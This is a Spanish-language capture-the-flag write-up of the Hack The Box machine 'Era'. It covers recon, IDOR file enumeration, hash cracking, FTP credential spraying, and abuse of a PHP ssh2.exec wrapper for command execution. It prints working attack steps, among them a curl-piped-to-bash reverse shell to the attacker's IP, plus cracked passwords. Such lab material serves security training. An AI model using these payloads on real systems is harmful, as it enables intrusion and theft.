Era corre un sitio para administrar archivos donde se identifico un IDOR. Se descargaron archivos entre ellos un backup que nos ayudo a escalar privilegios en el sitio y descubrir una funcionalidad unica para administradores donde, utilizamos el “wrapper” SSH2 para acceder a la maquina. Una contrasena conocida nos dio acceso a un nuevo usuario. Finalmente escalamos privilegios tras modificar y firmar un ejecutable utilizado en un cronjob.
| Nombre |
Era |
| OS |
Linux  |
| Puntos |
30 |
| Dificultad |
Medium |
| Fecha de Salida |
2025-07-26 |
| IP |
10.10.11.83 |
| Maker |
yurivich |
|
Rated
|
{
"type": "bar",
"data": {
"labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
"datasets": [{
"label": "User Rated Difficulty",
"data": [67, 40, 263, 553, 854, 675, 506, 159, 35, 78],
"backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
}]
},
"options": {
"scales": {
"xAxes": [{"display": false}],
"yAxes": [{"display": false}]
},
"legend": {"labels": {"fontColor": "white"}},
"responsive": true
}
}
|
Recon
nmap
nmap muestra multiples puertos abiertos: http (80) y ftp (21).
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# Nmap 7.95 scan initiated Wed Jul 30 19:25:27 2025 as: /usr/lib/nmap/nmap --privileged -p21,80 -sV -sC -oN nmap_scan 10.10.11.79
Nmap scan report for 10.10.11.79
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 30 19:25:42 2025 -- 1 IP address (1 host up) scanned in 14.46 seconds
|
FTP
El servicio FTP no acepta sesiones anonimas.
1
2
3
4
5
6
7
8
9
10
11
12
|
❯ ftp
ftp> o 10.10.11.79
Connected to 10.10.11.79.
220 (vsFTPd 3.0.5)
Name (10.10.11.79:kali): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.
❯
|
Web Site
El sitio web nos redirige al dominio era.htb el cual agregamos al archivo /etc/hosts.
1
2
3
4
5
6
7
8
9
10
|
❯ curl -sI 10.10.11.79
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 31 Jul 2025 01:26:35 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://era.htb/
❯
|
El sitio se presenta como disenos de interiores.

Directory Brute Forcing
feroxbuster muestra unicamente contenido estatico para el sitio.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
❯ feroxbuster -u http://era.htb/ -w $MD
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://era.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 12w 178c http://era.htb/img => http://era.htb/img/
200 GET 1672l 2840w 26650c http://era.htb/css/font-awesome.css
200 GET 322l 639w 5547c http://era.htb/js/fancybox/jquery.fancybox.css
200 GET 402l 1188w 11953c http://era.htb/js/wow.js
200 GET 205l 1368w 8097c http://era.htb/js/jquery.easing.1.3.js
200 GET 8l 73w 2429c http://era.htb/js/html5shiv.js
200 GET 9l 9w 307c http://era.htb/js/html5element.js
200 GET 3l 49w 1323c http://era.htb/favicon.png
200 GET 140l 288w 3613c http://era.htb/js/custom.js
200 GET 46l 231w 16345c http://era.htb/img/era.png
200 GET 226l 553w 6803c http://era.htb/js/jquery.nav.js
200 GET 558l 1856w 20511c http://era.htb/js/jquery-scrolltofixed.js
200 GET 176l 116w 18648c http://era.htb/img/client_logo5.png
200 GET 174l 103w 18048c http://era.htb/img/client_logo2.png
200 GET 183l 141w 19356c http://era.htb/img/client_logo3.png
200 GET 97l 495w 47669c http://era.htb/img/team_pic1.jpg
200 GET 1823l 3526w 31754c http://era.htb/css/style.css
200 GET 92l 588w 62199c http://era.htb/img/team_pic3.jpg
200 GET 46l 207w 23135c http://era.htb/js/fancybox/jquery.fancybox.pack.js
200 GET 184l 132w 19355c http://era.htb/img/client_logo1.png
200 GET 7l 400w 35601c http://era.htb/js/bootstrap.min.js
200 GET 78l 503w 48452c http://era.htb/img/team_pic2.jpg
200 GET 191l 1108w 113391c http://era.htb/img/portfolio_pic4.jpg
200 GET 201l 1204w 117568c http://era.htb/img/portfolio_pic2.jpg
200 GET 1398l 4982w 42845c http://era.htb/js/jquery.isotope.js
200 GET 3303l 5911w 69747c http://era.htb/css/animate.css
200 GET 408l 1589w 127791c http://era.htb/img/portfolio_pic3.jpg
200 GET 344l 1501w 166394c http://era.htb/img/portfolio_pic8.jpg
200 GET 361l 1233w 95449c http://era.htb/img/2.jpg
200 GET 4l 1421w 96381c http://era.htb/js/jquery-1.11.0.min.js
403 GET 7l 10w 162c http://era.htb/js/
403 GET 7l 10w 162c http://era.htb/css/
200 GET 390l 1601w 145339c http://era.htb/img/1.jpg
200 GET 312l 1146w 108725c http://era.htb/img/3.jpg
200 GET 5l 1421w 113498c http://era.htb/css/bootstrap.min.css
403 GET 7l 10w 162c http://era.htb/js/fancybox/
200 GET 544l 3540w 370919c http://era.htb/img/portfolio_pic1.jpg
200 GET 773l 5013w 479721c http://era.htb/img/portfolio_pic7.jpg
200 GET 1143l 6379w 486506c http://era.htb/img/portfolio_pic5.jpg
200 GET 1083l 6242w 526387c http://era.htb/img/portfolio_pic6.jpg
200 GET 446l 1536w 19493c http://era.htb/
301 GET 7l 12w 178c http://era.htb/css => http://era.htb/css/
301 GET 7l 12w 178c http://era.htb/js => http://era.htb/js/
301 GET 7l 12w 178c http://era.htb/fonts => http://era.htb/fonts/
❯
|
Subdomain Discovery
Tras ejecutar ffuf este muestra el subdominio file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -u http://era.htb -H "Host: FUZZ.era.htb" -fw 4
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://era.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.era.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 4
________________________________________________
file [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 261ms]
:: Progress: [151265/151265] :: Job [1/1] :: 152 req/sec :: Duration: [0:18:10] :: Errors: 0 ::
❯
|
file.era.htb
El subdominio parece ser un servicio para almanacenamiento y administracion de archivos.

login.php muestra un formulario para autenticacion de usuarios.

security_login.php ofrece la opcion de autenticarse tras responder preguntas de seguridad de usuario.

Directory Brute Forcing
Tras ejecutar feroxbuster con el filtro -C 404 encontramos que existe la pagina register.php.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
❯ feroxbuster -u http://file.era.htb/ -w $CM -x php -C 404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://file.era.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
💢 Status Code Filters │ [404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 234l 559w 6765c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 7l 10w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 12w 178c http://file.era.htb/assets => http://file.era.htb/assets/
302 GET 0l 0w 0c http://file.era.htb/download.php => login.php
301 GET 7l 12w 178c http://file.era.htb/files => http://file.era.htb/files/
301 GET 7l 12w 178c http://file.era.htb/assets/css => http://file.era.htb/assets/css/
301 GET 7l 12w 178c http://file.era.htb/images => http://file.era.htb/images/
200 GET 0l 0w 0c http://file.era.htb/layout.php
200 GET 662l 5535w 34524c http://file.era.htb/LICENSE
200 GET 1l 6w 70c http://file.era.htb/logout.php
200 GET 327l 740w 9214c http://file.era.htb/login.php
302 GET 0l 0w 0c http://file.era.htb/manage.php => login.php
200 GET 105l 233w 3205c http://file.era.htb/register.php
301 GET 7l 12w 178c http://file.era.htb/assets/css/images => http://file.era.htb/assets/css/images/
302 GET 0l 0w 0c http://file.era.htb/upload.php => login.php
200 GET 0l 0w 0c http://file.era.htb/assets/cgi-bin/cgi-bin/football
200 GET 0l 0w 0c http://file.era.htb/images/ico
❯
|
Era Storage
Tras registrar un usuario en /register.php este nos redirige al login donde nos autenticamos.

El dashboard muestra configuraciones para administrar archivos.

Se muestra un formulario para subir archivos.

Tambien observamos un formulario para actualizar las preguntas de seguridad de un usuario.

Upload Files
Tras subir un archivo este muestra un link de descarga donde el archivo se identifica por un ID.

Este link permite la descarga del archivo agregando dl=true a la url.

Enumerating Files - IDOR
Los archivos son presentados por ID ejecutamos ffuf para enumerar los archivos existentes dentro del sitio.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
❯ seq 1 5000 > n.txt
❯ ffuf -w n.txt -u 'http://file.era.htb/download.php?id=FUZZ' -H "Cookie: PHPSESSID=ldi11gohkr5mbt3bg08qk8t5an" -fl 267
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://file.era.htb/download.php?id=FUZZ
:: Wordlist : FUZZ: /home/kali/htb/era/n.txt
:: Header : Cookie: PHPSESSID=ldi11gohkr5mbt3bg08qk8t5an
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 267
________________________________________________
150 [Status: 200, Size: 6366, Words: 2552, Lines: 222, Duration: 263ms]
1447 [Status: 200, Size: 6364, Words: 2552, Lines: 222, Duration: 265ms]
:: Progress: [5000/5000] :: Job [1/1] :: 174 req/sec :: Duration: [0:00:33] :: Errors: 0 ::
❯
|
Encontramos dos archivos comprimidos, site-backup-30-08-24.zip.

El segundo signing.zip.

Files
Descargamos ambos archivos.
1
2
3
4
5
6
7
8
9
10
11
12
|
❯ curl -X GET "http://file.era.htb/download.php?id=54&dl=true" -H "Cookie: PHPSESSID=ldi11gohkr5mbt3bg08qk8t5an" -o site-backup-30-08-24.zip
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1959k 0 1959k 0 0 824k 0 --:--:-- 0:00:02 --:--:-- 824k
❯ curl -X GET "http://file.era.htb/download.php?id=150&dl=true" -H "Cookie: PHPSESSID=ldi11gohkr5mbt3bg08qk8t5an" -o signing.zip
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2746 0 2746 0 0 5096 0 --:--:-- --:--:-- --:--:-- 5094
❯ ll
.rw-rw-r-- kali kali 2.7 KB Wed Jul 30 20:18:01 2025 signing.zip
.rw-rw-r-- kali kali 43 KB Wed Jul 30 20:17:49 2025 site-backup-30-08-24.zip
❯
|
signing.zip muestra una clave privada y un archivo de configuracion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
❯ unzip signing.zip -d signing
Archive: signing.zip
inflating: signing/key.pem
inflating: signing/x509.genkey
❯
❯ ll
.rw------- kali kali 2.9 KB Sat Jan 25 20:09:35 2025 key.pem
.rw-rw-r-- kali kali 355 B Sat Jan 25 20:09:18 2025 x509.genkey
❯ cat x509.genkey
[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts
[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = yurivich@era.com
[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid
❯
|
site-backup muestra un backup del sitio donde observamos una base de datos sqlite.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
|
❯ unzip -l site-backup-30-08-24.zip
Archive: site-backup-30-08-24.zip
Length Date Time Name
--------- ---------- ----- ----
34524 2025-06-29 10:29 LICENSE
23359 2025-06-29 10:29 bg.jpg
0 2025-06-29 10:23 css/
22333 2025-06-29 10:29 css/main.css.save
23227 2025-06-29 10:29 css/main.css
55967 2025-06-29 10:29 css/fontawesome-all.min.css
374 2025-06-29 10:29 css/noscript.css
0 2025-06-29 10:23 css/images/
3045 2025-06-29 10:29 css/images/overlay.png
2540 2025-06-29 10:29 download.php
20480 2025-06-29 10:20 filedb.sqlite
0 2024-12-15 09:32 files/
165 2024-12-15 09:32 files/.htaccess
40 2024-12-07 20:19 files/index.php
2221 2025-06-29 10:29 functions.global.php
1570 2025-06-29 10:29 index.php
7293 2025-06-29 10:29 initial_layout.php
7959 2025-06-29 10:29 layout.php
7222 2025-06-29 10:29 layout_login.php
5729 2025-06-29 10:29 login.php
248 2025-06-29 10:29 logout.php
113289 2025-06-29 10:29 main.png
11937 2025-06-29 10:29 manage.php
5149 2025-06-29 10:29 register.php
4916 2025-06-29 10:29 reset.php
0 2025-06-29 10:23 sass/
0 2025-06-29 10:23 sass/layout/
735 2025-06-29 10:29 sass/layout/_wrapper.scss
734 2025-06-29 10:29 sass/layout/_footer.scss
1380 2025-06-29 10:29 sass/layout/_main.scss
1634 2025-06-29 10:29 sass/main.scss
0 2025-06-29 10:23 sass/base/
2012 2025-06-29 10:29 sass/base/_page.scss
1568 2025-06-29 10:29 sass/base/_reset.scss
1940 2025-06-29 10:29 sass/base/_typography.scss
0 2025-06-29 10:23 sass/libs/
683 2025-06-29 10:29 sass/libs/_vars.scss
7325 2025-06-29 10:29 sass/libs/_vendor.scss
1957 2025-06-29 10:29 sass/libs/_functions.scss
2218 2025-06-29 10:29 sass/libs/_mixins.scss
4571 2025-06-29 10:29 sass/libs/_breakpoints.scss
442 2025-06-29 10:29 sass/noscript.scss
0 2025-06-29 10:23 sass/components/
1787 2025-06-29 10:29 sass/components/_actions.scss
1049 2025-06-29 10:29 sass/components/_icons.scss
1296 2025-06-29 10:29 sass/components/_button.scss
481 2025-06-29 10:29 sass/components/_icon.scss
891 2025-06-29 10:29 sass/components/_list.scss
4830 2025-06-29 10:29 sass/components/_form.scss
92890 2025-06-29 10:29 screen-download.png
97427 2025-06-29 10:29 screen-login.png
85428 2025-06-29 10:29 screen-main.png
170600 2025-06-29 10:29 screen-manage.png
87742 2025-06-29 10:29 screen-upload.png
7580 2025-06-29 10:29 security_login.php
6943 2025-06-29 10:29 upload.php
0 2025-06-29 10:23 webfonts/
192116 2025-06-29 10:29 webfonts/fa-solid-900.eot
34092 2025-06-29 10:29 webfonts/fa-regular-400.ttf
16804 2025-06-29 10:29 webfonts/fa-regular-400.woff
836484 2025-06-29 10:29 webfonts/fa-solid-900.svg
191832 2025-06-29 10:29 webfonts/fa-solid-900.ttf
98020 2025-06-29 10:29 webfonts/fa-solid-900.woff
129048 2025-06-29 10:29 webfonts/fa-brands-400.ttf
13580 2025-06-29 10:29 webfonts/fa-regular-400.woff2
75440 2025-06-29 10:29 webfonts/fa-solid-900.woff2
34388 2025-06-29 10:29 webfonts/fa-regular-400.eot
143962 2025-06-29 10:29 webfonts/fa-regular-400.svg
74508 2025-06-29 10:29 webfonts/fa-brands-400.woff2
87352 2025-06-29 10:29 webfonts/fa-brands-400.woff
129352 2025-06-29 10:29 webfonts/fa-brands-400.eot
688605 2025-06-29 10:29 webfonts/fa-brands-400.svg
--------- -------
3685313 72 files
❯ unzip site-backup-30-08-24.zip -d site-backup
Archive: site-backup-30-08-24.zip
inflating: site-backup/LICENSE
inflating: site-backup/bg.jpg
creating: site-backup/css/
inflating: site-backup/css/main.css.save
inflating: site-backup/css/main.css
inflating: site-backup/css/fontawesome-all.min.css
inflating: site-backup/css/noscript.css
creating: site-backup/css/images/
extracting: site-backup/css/images/overlay.png
inflating: site-backup/download.php
inflating: site-backup/filedb.sqlite
# [...] snip [...]
inflating: site-backup/webfonts/fa-brands-400.svg
❯
|
Database
Dentro de la base de datos observamos la tabla users que contiene columnas para las preguntas de seguridad.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
❯ sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open filedb.sqlite
sqlite> .tables
files users
sqlite> .schema users
CREATE TABLE users (
user_id INTEGER PRIMARY KEY AUTOINCREMENT,
user_name varchar(255) NOT NULL,
user_password varchar(255) NOT NULL,
auto_delete_files_after int NOT NULL
, security_answer1 varchar(255), security_answer2 varchar(255), security_answer3 varchar(255));
sqlite>
|
Observamos que el usuario admin_ef01cab31aa es el unico con preguntas de seguridad registradas.
1
2
3
4
5
6
7
8
|
sqlite> select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
sqlite>
|
Cracking the Hash
Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash, se muestran dos valores iniciales.
1
2
3
4
5
6
7
8
|
❯ john sqlite_hashes --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
america (?)
mustang (?)
|
FTP Access
Netexec FTP
Creamos un wordlist de usuarios y contrasenas.
1
2
3
4
5
6
7
8
9
10
11
12
|
❯ cat passwords.txt
admin
america
mustang
❯ cat users.txt
admin_ef01cab31aa
eric
veronica
yuri
john
ethan
❯
|
Ejecutamos netexec para ftp, se muestra el par yuri:mustang como valido.
1
2
3
|
❯ nxc ftp 10.10.11.79 -u users.txt -p passwords.txt --continue-on-success | grep +
FTP 10.10.11.79 21 10.10.11.79 [+] yuri:mustang
❯
|
FTP Login
Ingresamos por el servicio y observamos que existen dos directorios, uno de ellos contiene configuracion apache.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
❯ ftp
ftp> o 10.10.11.79
Connected to 10.10.11.79.
220 (vsFTPd 3.0.5)
Name (10.10.11.79:kali): yuri
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||21668|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 apache2_conf
drwxr-xr-x 3 0 0 4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.
ftp> cd apache2_conf
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||33204|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 1332 Dec 08 2024 000-default.conf
-rw-r--r-- 1 0 0 7224 Dec 08 2024 apache2.conf
-rw-r--r-- 1 0 0 222 Dec 13 2024 file.conf
-rw-r--r-- 1 0 0 320 Dec 08 2024 ports.conf
226 Directory send OK.
ftp>
|
En el segundo una lista de ’librerias’ o ‘modulos’ para PHP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
ftp> cd php8.1_conf
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||64204|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 build
-rw-r--r-- 1 0 0 35080 Dec 08 2024 calendar.so
-rw-r--r-- 1 0 0 14600 Dec 08 2024 ctype.so
-rw-r--r-- 1 0 0 190728 Dec 08 2024 dom.so
-rw-r--r-- 1 0 0 96520 Dec 08 2024 exif.so
-rw-r--r-- 1 0 0 174344 Dec 08 2024 ffi.so
-rw-r--r-- 1 0 0 7153984 Dec 08 2024 fileinfo.so
-rw-r--r-- 1 0 0 67848 Dec 08 2024 ftp.so
-rw-r--r-- 1 0 0 18696 Dec 08 2024 gettext.so
-rw-r--r-- 1 0 0 51464 Dec 08 2024 iconv.so
-rw-r--r-- 1 0 0 1006632 Dec 08 2024 opcache.so
-rw-r--r-- 1 0 0 121096 Dec 08 2024 pdo.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 pdo_sqlite.so
-rw-r--r-- 1 0 0 284936 Dec 08 2024 phar.so
-rw-r--r-- 1 0 0 43272 Dec 08 2024 posix.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 readline.so
-rw-r--r-- 1 0 0 18696 Dec 08 2024 shmop.so
-rw-r--r-- 1 0 0 59656 Dec 08 2024 simplexml.so
-rw-r--r-- 1 0 0 104712 Dec 08 2024 sockets.so
-rw-r--r-- 1 0 0 67848 Dec 08 2024 sqlite3.so
-rw-r--r-- 1 0 0 313912 Dec 08 2024 ssh2.so
-rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvmsg.so
-rw-r--r-- 1 0 0 14600 Dec 08 2024 sysvsem.so
-rw-r--r-- 1 0 0 22792 Dec 08 2024 sysvshm.so
-rw-r--r-- 1 0 0 35080 Dec 08 2024 tokenizer.so
-rw-r--r-- 1 0 0 59656 Dec 08 2024 xml.so
-rw-r--r-- 1 0 0 43272 Dec 08 2024 xmlreader.so
-rw-r--r-- 1 0 0 51464 Dec 08 2024 xmlwriter.so
-rw-r--r-- 1 0 0 39176 Dec 08 2024 xsl.so
-rw-r--r-- 1 0 0 84232 Dec 08 2024 zip.so
226 Directory send OK.
ftp>
|
Unicamente se listan esos archivos no existe alguna configuracion ’extra’ o ’exclusiva’ dentro de los archivos de apache.
Yuri via SSH2
Tras analizar el codigo fuente del sitio encontramos que en download.php existe una funcionalidad unicamente para el admin donde obtiene el valor del parametro format donde espera un wrapper que es “ejecutado” especificando el archivo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
// download.php
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
|
Si enviamos el wrapper para codificar en base64 quedaria de la siguiente forma.
1
2
|
# id=150&show=true&format=php://filter/read=convert.base64-encode/resource=
php://filter/read=convert.base64-encode/resource=files/signing.zip
|
User to Admin
Dentro de la base de datos encontramos las preguntas de seguridad para admin_ef01cab31aa.
Intentamos ingresar por /security_login.php pero muestra que son las respuestas incorrectas.

Al conocer el nombre de usuario actualizamos las repuestas en /reset.php.


Ingresamos con estas al sitio en /security_login.php.

Observamos dos archivos zip de este usuario.

SSH2
Dentro del directorio php8.1_conf en ftp encontramos la lista de ’librerias’ y “wrappers” que podriamos utilizar. Si observamos los wrappers que existen, se muestra ssh2 que, de estar habilitado nos podria permitir ejecutar comandos como se muestra en la documentacion.
1
2
3
4
|
ssh2.shell://user:pass@example.com:22/xterm
ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14
ssh2.sftp://user:pass@example.com:22/path/to/filename
|
Command Execution
Utilizamos ssh2.exec para ejecutar curl a nuestra direccion IP especificando las credenciales conocidas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
GET /download.php?id=150&show=true&format=ssh2.exec://yuri:mustang@localhost:22/curl+10.10.14.8; HTTP/1.1
Host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=ldi11gohkr5mbt3bg08qk8t5an
Upgrade-Insecure-Requests: 1
Priority: u=0, i
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 31 Jul 2025 05:03:44 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 95
Opening: ssh2.exec://yuri:mustang@localhost:22/curl 10.10.14.8;files/signing.zip
Resource id #3
|
Obtuvimos una solicitud por lo que la ejecucion fue exitosa.
1
2
3
4
|
❯ httphere .
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.79 - - [30/Jul/2025 23:03:33] "GET / HTTP/1.1" 200 -
|
User - Yuri
Ejecutamos una shell inversa con shells.
1
|
ssh2.exec://yuri:mustang@localhost:22/curl+10.10.14.8:8000/10.10.14.8:1335|bash;
|
Logrando obtener una shell inversa como Yuri.
1
2
3
4
5
6
7
8
9
|
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.8] from era.htb [10.10.11.79] 44980
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
yuri
uid=1001(yuri) gid=1002(yuri) groups=1002(yuri)
/home/yuri
$
|
User - Eric
Cambiamos al usuario eric con una de las contrasenas conocidas logrando leer la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
yuri@era:~$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
eric:x:1000:1000:eric:/home/eric:/bin/bash
yuri:x:1001:1002::/home/yuri:/bin/sh
yuri@era:~$ su eric
Password: america
eric@era:/home/yuri$ cd
eric@era:~$ ls
user.txt
eric@era:~$ cat user.txt
6026af2e9341abaab1cf719dba37caa3
eric@era:~$
|
Privesc
En /opt/AV/periodic-checks encontramos dos archivos, un ejecutable y un archivo de log.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
eric@era:/opt/AV/periodic-checks$ pwd
/opt/AV/periodic-checks
eric@era:/opt/AV/periodic-checks$ ls -lah
total 32K
drwxrwxr-- 2 root devs 4.0K Jul 31 05:08 .
